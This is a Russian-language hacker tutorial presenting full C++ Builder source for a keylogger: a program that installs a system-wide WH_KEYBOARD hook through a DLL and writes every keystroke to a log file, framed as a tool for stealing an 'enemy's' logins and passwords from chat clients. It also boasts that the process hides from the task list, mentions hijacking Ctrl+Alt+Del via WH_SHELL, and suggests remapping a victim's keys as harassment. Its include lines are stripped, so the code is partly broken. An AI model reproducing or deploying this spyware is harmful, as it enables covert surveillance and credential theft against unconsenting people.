Для обеспечения тебя сведениями о логине и пароле врага, а также его мнении о тебе, политике госдуратства
и пр. в аське, мирке и даже WEB-чате идеально подходит клавиатурный шпион, учебная версия которого (с исходниками) и представлена твоему вниманию.
Мои исходники - всё на том же C++, который идеален с точки зрения учебно-познавательно- быстроклепательных целей. Конкретно, тебе понадобится С++ Builder любой версии и немного умения работать в его среде разработки (если умеешь на Дельфях - считай, умеешь работать и на Builder’e
Для начала немного теории: в целях упрощения отладки больших и сложных прог (мультипроцессовых и многопоточных) в winAPI включена функция SetWindowsHookEx, которая позволяет перехватывать сообщения виндов, причём фильтруя их (в зависимости от того, какие сообщения важны при отладке [параметр idHook]). Функция на самом деле очень мощная - вот пример, для чего её можно использовать (а ты думал, только кнопки пасти, да ?
:
WH_CALLWNDPROC - перехват всех сообщений, причём до того как они были посланы системой конкретному окну (это юзает утилита Spy++, входящая в состав Visual C++).
WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для записи и воспроизведения макросов (в основном использовалась мной для беспредельного глумления над существами с именем Default User
WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а вместо Task Manager выполняется твоя функция!
WH_KEYBOARD - ну тут всё и так понятно (используется в прилагаемых исходниках с известной целью
Я перечислил не все возможности этой кульной функции, а только те, которые можно поюзать в нашем грязном деле
Об остальных читай мои статьи под номером NEXT.
Но есть у этой функции своя беда - один из её параметров [dwThreadId] должен указывать на поток, сообщения к которому и следует перехватывать. Если ты укажешь ID главного потока своей проги - получишь клавиатурный ввод только с него, а если этот параметр будет 0 (все потоки) и функция обработки будет находиться прямо внутри твоей проги - нифига не получишь, потому что этот поток будет также принадлежать ПРОЦЕССУ твоей проги (только, к тому же, не будет главным потоком
Выход из ситуации - создать новый ПРОЦЕСС. Для чего из проги вызывается DLL (при желании можно и EXE) с этой самой “шпионской функцией”
Заметь - эту DLL не видно не только по Ctrl+Alt+Del, но и в списке процессов, а всё потому, что новый процесс - “дитё” главного процесса приложения (вот тебе и идея, сыроватая правда, как из процессов проги прятать
А вот и долгожданные исходники - два отдельных проекта;
1) Основная прога (File->New Application, затем удалить “форму” и Unit1.cpp, затем выбрать Project->View Source):
PHP код:
//--------------------------
/* - заголовочные файлы, чтобы юзать функции WinAPI и не только их */
#include
#include
#include
#include
#include
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает :)
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию
// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");
// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );
while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти
}
//--------------------------
2) DLL (File->New..., затем выбрать “DLL”) - обработчик сообщений от клавиатуры:
//--------------------------
#include
#include
#include
#pragma hdrstop
//--------------------------
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл
// Открываем файл с логом на добавление, если его нет - создаём
if((f=fopen("c:logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
/* Перед выходом из функции - вызываем нормальный обработчик
сообщений от клавы (что толку от шпиона, если остальные
проги перестанут на клаву реагировать ? :)
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------
Кстати, если ты решил просто поиздеваться над врагом - можно, не меняя кнопки на клаве физически, поменять сообщения от кнопок (раз уж они всё равно перехвачены, никто не обязывает передавать их дальше в исходном виде
))